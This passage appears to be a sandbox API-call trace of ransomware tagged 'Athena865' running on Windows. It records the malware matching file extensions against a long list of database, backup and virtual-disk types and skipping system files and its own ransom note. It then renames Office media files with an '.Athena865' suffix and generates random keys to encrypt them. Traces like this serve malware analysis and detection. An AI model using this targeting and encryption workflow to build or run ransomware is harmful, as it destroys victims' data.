returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.416] lstrlenW (lpString="his") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.416] lstrlenW (lpString="ib") returned 2 [0138.416] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.416] lstrlenW (lpString="idb") returned 3 [0138.416] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.417] lstrlenW (lpString="ihx") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.417] lstrlenW (lpString="itdb") returned 4 [0138.417] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.417] lstrlenW (lpString="itw") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.417] lstrlenW (lpString="jet") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.417] lstrlenW (lpString="jtx") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.417] lstrlenW (lpString="kdb") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.417] lstrlenW (lpString="kexi") returned 4 [0138.417] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.417] lstrlenW (lpString="kexic") returned 5 [0138.417] lstrcmpiW (lpString1="6.WMF", lpString2="kexic") returned -1 [0138.417] lstrlenW (lpString="kexis") returned 5 [0138.417] lstrcmpiW (lpString1="6.WMF", lpString2="kexis") returned -1 [0138.417] lstrlenW (lpString="lgc") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.417] lstrlenW (lpString="lwx") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.417] lstrlenW (lpString="maf") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.417] lstrlenW (lpString="maq") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.417] lstrlenW (lpString="mar") returned 3 [0138.417] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.417] lstrlenW (lpString="marshal") returned 7 [0138.418] lstrcmpiW (lpString1="036.WMF", lpString2="marshal") returned -1 [0138.418] lstrlenW (lpString="mas") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.418] lstrlenW (lpString="mav") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.418] lstrlenW (lpString="maw") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.418] lstrlenW (lpString="mdbhtml") returned 7 [0138.418] lstrcmpiW (lpString1="036.WMF", lpString2="mdbhtml") returned -1 [0138.418] lstrlenW (lpString="mdn") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.418] lstrlenW (lpString="mdt") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.418] lstrlenW (lpString="mfd") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.418] lstrlenW (lpString="mpd") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.418] lstrlenW (lpString="mrg") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.418] lstrlenW (lpString="mud") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.418] lstrlenW (lpString="mwb") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.418] lstrlenW (lpString="myd") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.418] lstrlenW (lpString="ndf") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.418] lstrlenW (lpString="nnt") returned 3 [0138.418] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.419] lstrlenW (lpString="nrmlib") returned 6 [0138.419] lstrcmpiW (lpString1="36.WMF", lpString2="nrmlib") returned -1 [0138.419] lstrlenW (lpString="ns2") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.419] lstrlenW (lpString="ns3") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.419] lstrlenW (lpString="ns4") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.419] lstrlenW (lpString="nsf") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.419] lstrlenW (lpString="nv") returned 2 [0138.419] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.419] lstrlenW (lpString="nv2") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.419] lstrlenW (lpString="nwdb") returned 4 [0138.419] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.419] lstrlenW (lpString="nyf") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.419] lstrlenW (lpString="odb") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.419] lstrlenW (lpString="odb") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.419] lstrlenW (lpString="oqy") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.419] lstrlenW (lpString="ora") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.419] lstrlenW (lpString="orx") returned 3 [0138.419] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.419] lstrlenW (lpString="owc") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.420] lstrlenW (lpString="p96") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.420] lstrlenW (lpString="p97") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.420] lstrlenW (lpString="pan") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.420] lstrlenW (lpString="pdb") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.420] lstrlenW (lpString="pdm") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.420] lstrlenW (lpString="pnz") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.420] lstrlenW (lpString="qry") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.420] lstrlenW (lpString="qvd") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.420] lstrlenW (lpString="rbf") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.420] lstrlenW (lpString="rctd") returned 4 [0138.420] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.420] lstrlenW (lpString="rod") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.420] lstrlenW (lpString="rodx") returned 4 [0138.420] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.420] lstrlenW (lpString="rpd") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.420] lstrlenW (lpString="rsd") returned 3 [0138.420] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.420] lstrlenW (lpString="sas7bdat") returned 8 [0138.421] lstrcmpiW (lpString1="9036.WMF", lpString2="sas7bdat") returned -1 [0138.421] lstrlenW (lpString="sbf") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.421] lstrlenW (lpString="scx") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.421] lstrlenW (lpString="sdb") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.421] lstrlenW (lpString="sdc") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.421] lstrlenW (lpString="sdf") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.421] lstrlenW (lpString="sis") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.421] lstrlenW (lpString="spq") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.421] lstrlenW (lpString="te") returned 2 [0138.421] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.421] lstrlenW (lpString="teacher") returned 7 [0138.421] lstrcmpiW (lpString1="036.WMF", lpString2="teacher") returned -1 [0138.421] lstrlenW (lpString="tmd") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.421] lstrlenW (lpString="tps") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.421] lstrlenW (lpString="trc") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.421] lstrlenW (lpString="trc") returned 3 [0138.421] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.422] lstrlenW (lpString="trm") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.422] lstrlenW (lpString="udb") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.422] lstrlenW (lpString="udl") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.422] lstrlenW (lpString="usr") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.422] lstrlenW (lpString="v12") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.422] lstrlenW (lpString="vis") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.422] lstrlenW (lpString="vpd") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.422] lstrlenW (lpString="vvv") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.422] lstrlenW (lpString="wdb") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.422] lstrlenW (lpString="wmdb") returned 4 [0138.422] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.422] lstrlenW (lpString="wrk") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.422] lstrlenW (lpString="xdb") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.422] lstrlenW (lpString="xld") returned 3 [0138.422] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.422] lstrlenW (lpString="xmlff") returned 5 [0138.422] lstrcmpiW (lpString1="6.WMF", lpString2="xmlff") returned -1 [0138.423] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.Athena865") returned 71 [0138.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf.athena865"), dwFlags=0x1) returned 1 [0138.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199036.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199036.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.424] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9496) returned 1 [0138.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.424] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.425] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.425] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.425] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.426] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2820, lpName=0x0) returned 0x154 [0138.427] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2820) returned 0x100000 [0138.429] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.429] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.429] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.429] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.429] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.430] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.430] CloseHandle (hObject=0x154) returned 1 [0138.430] CloseHandle (hObject=0x17c) returned 1 [0138.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.430] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.431] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd55500, ftCreationTime.dwHighDateTime=0x1be05ec, ftLastAccessTime.dwLowDateTime=0xbd4c6ce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xebd55500, ftLastWriteTime.dwHighDateTime=0x1be05ec, nFileSizeHigh=0x0, nFileSizeLow=0x8ec4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0199283.WMF", cAlternateFileName="")) returned 1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2=".") returned 1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="..") returned 1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="windows") returned -1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="bootmgr") returned 1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="temp") returned -1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="pagefile.sys") returned -1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="boot") returned 1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="ids.txt") returned 1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="ntuser.dat") returned -1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="perflogs") returned -1 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2="MSBuild") returned -1 [0138.431] lstrlenW (lpString="J0199283.WMF") returned 12 [0138.431] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0199283.WMF" | out: lpString1="J0199283.WMF") returned="J0199283.WMF" [0138.431] lstrlenW (lpString="J0199283.WMF") returned 12 [0138.431] lstrlenW (lpString="Athena865") returned 9 [0138.431] lstrcmpiW (lpString1="99283.WMF", lpString2="Athena865") returned -1 [0138.431] lstrlenW (lpString=".dll") returned 4 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2=".dll") returned 1 [0138.431] lstrlenW (lpString=".lnk") returned 4 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2=".lnk") returned 1 [0138.431] lstrlenW (lpString=".ini") returned 4 [0138.431] lstrcmpiW (lpString1="J0199283.WMF", lpString2=".ini") returned 1 [0138.432] lstrlenW (lpString=".sys") returned 4 [0138.432] lstrcmpiW (lpString1="J0199283.WMF", lpString2=".sys") returned 1 [0138.432] lstrlenW (lpString="J0199283.WMF") returned 12 [0138.432] lstrlenW (lpString="bak") returned 3 [0138.432] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.432] lstrlenW (lpString="ba_") returned 3 [0138.432] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.432] lstrlenW (lpString="dbb") returned 3 [0138.432] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.432] lstrlenW (lpString="vmdk") returned 4 [0138.432] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.432] lstrlenW (lpString="rar") returned 3 [0138.432] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.432] lstrlenW (lpString="zip") returned 3 [0138.432] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.432] lstrlenW (lpString="tgz") returned 3 [0138.432] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.432] lstrlenW (lpString="vbox") returned 4 [0138.432] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.432] lstrlenW (lpString="vdi") returned 3 [0138.432] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.432] lstrlenW (lpString="vhd") returned 3 [0138.432] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.432] lstrlenW (lpString="vhdx") returned 4 [0138.432] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.432] lstrlenW (lpString="avhd") returned 4 [0138.432] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.432] lstrlenW (lpString="db") returned 2 [0138.433] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.433] lstrlenW (lpString="db2") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.433] lstrlenW (lpString="db3") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.433] lstrlenW (lpString="dbf") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.433] lstrlenW (lpString="mdf") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.433] lstrlenW (lpString="mdb") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.433] lstrlenW (lpString="sql") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.433] lstrlenW (lpString="sqlite") returned 6 [0138.433] lstrcmpiW (lpString1="83.WMF", lpString2="sqlite") returned -1 [0138.433] lstrlenW (lpString="sqlite3") returned 7 [0138.433] lstrcmpiW (lpString1="283.WMF", lpString2="sqlite3") returned -1 [0138.433] lstrlenW (lpString="sqlitedb") returned 8 [0138.433] lstrcmpiW (lpString1="9283.WMF", lpString2="sqlitedb") returned -1 [0138.433] lstrlenW (lpString="xml") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.433] lstrlenW (lpString="$er") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.433] lstrlenW (lpString="4dd") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.433] lstrlenW (lpString="4dl") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.433] lstrlenW (lpString="^^^") returned 3 [0138.433] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.434] lstrlenW (lpString="abs") returned 3 [0138.434] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.434] lstrlenW (lpString="abx") returned 3 [0138.434] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.434] lstrlenW (lpString="accdb") returned 5 [0138.434] lstrcmpiW (lpString1="3.WMF", lpString2="accdb") returned -1 [0138.434] lstrlenW (lpString="accdc") returned 5 [0138.434] lstrcmpiW (lpString1="3.WMF", lpString2="accdc") returned -1 [0138.434] lstrlenW (lpString="accde") returned 5 [0138.434] lstrcmpiW (lpString1="3.WMF", lpString2="accde") returned -1 [0138.434] lstrlenW (lpString="accdr") returned 5 [0138.434] lstrcmpiW (lpString1="3.WMF", lpString2="accdr") returned -1 [0138.434] lstrlenW (lpString="accdt") returned 5 [0138.434] lstrcmpiW (lpString1="3.WMF", lpString2="accdt") returned -1 [0138.434] lstrlenW (lpString="accdw") returned 5 [0138.434] lstrcmpiW (lpString1="3.WMF", lpString2="accdw") returned -1 [0138.434] lstrlenW (lpString="accft") returned 5 [0138.434] lstrcmpiW (lpString1="3.WMF", lpString2="accft") returned -1 [0138.434] lstrlenW (lpString="adb") returned 3 [0138.434] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.434] lstrlenW (lpString="adb") returned 3 [0138.434] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.434] lstrlenW (lpString="ade") returned 3 [0138.434] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0138.434] lstrlenW (lpString="adf") returned 3 [0138.434] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0138.434] lstrlenW (lpString="adn") returned 3 [0138.434] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0138.434] lstrlenW (lpString="adp") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0138.435] lstrlenW (lpString="alf") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0138.435] lstrlenW (lpString="ask") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0138.435] lstrlenW (lpString="btr") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0138.435] lstrlenW (lpString="cat") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0138.435] lstrlenW (lpString="cdb") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0138.435] lstrlenW (lpString="ckp") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.435] lstrlenW (lpString="cma") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.435] lstrlenW (lpString="cpd") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.435] lstrlenW (lpString="dacpac") returned 6 [0138.435] lstrcmpiW (lpString1="83.WMF", lpString2="dacpac") returned -1 [0138.435] lstrlenW (lpString="dad") returned 3 [0138.435] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.435] lstrlenW (lpString="dadiagrams") returned 10 [0138.435] lstrcmpiW (lpString1="199283.WMF", lpString2="dadiagrams") returned -1 [0138.435] lstrlenW (lpString="daschema") returned 8 [0138.435] lstrcmpiW (lpString1="9283.WMF", lpString2="daschema") returned -1 [0138.435] lstrlenW (lpString="db-journal") returned 10 [0138.435] lstrcmpiW (lpString1="199283.WMF", lpString2="db-journal") returned -1 [0138.435] lstrlenW (lpString="db-shm") returned 6 [0138.435] lstrcmpiW (lpString1="83.WMF", lpString2="db-shm") returned -1 [0138.436] lstrlenW (lpString="db-wal") returned 6 [0138.436] lstrcmpiW (lpString1="83.WMF", lpString2="db-wal") returned -1 [0138.436] lstrlenW (lpString="dbc") returned 3 [0138.436] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.436] lstrlenW (lpString="dbs") returned 3 [0138.436] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.436] lstrlenW (lpString="dbt") returned 3 [0138.436] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.436] lstrlenW (lpString="dbv") returned 3 [0138.436] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.436] lstrlenW (lpString="dbx") returned 3 [0138.436] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.436] lstrlenW (lpString="dcb") returned 3 [0138.436] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.436] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.436] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.Athena865") returned 71 [0138.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf.athena865"), dwFlags=0x1) returned 1 [0138.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199283.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199283.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.438] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36548) returned 1 [0138.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.438] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.439] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.439] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.439] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91d0, lpName=0x0) returned 0x154 [0138.441] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91d0) returned 0x100000 [0138.444] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.445] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.445] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.445] HeapFree (in: hHeap=0x4f0000, 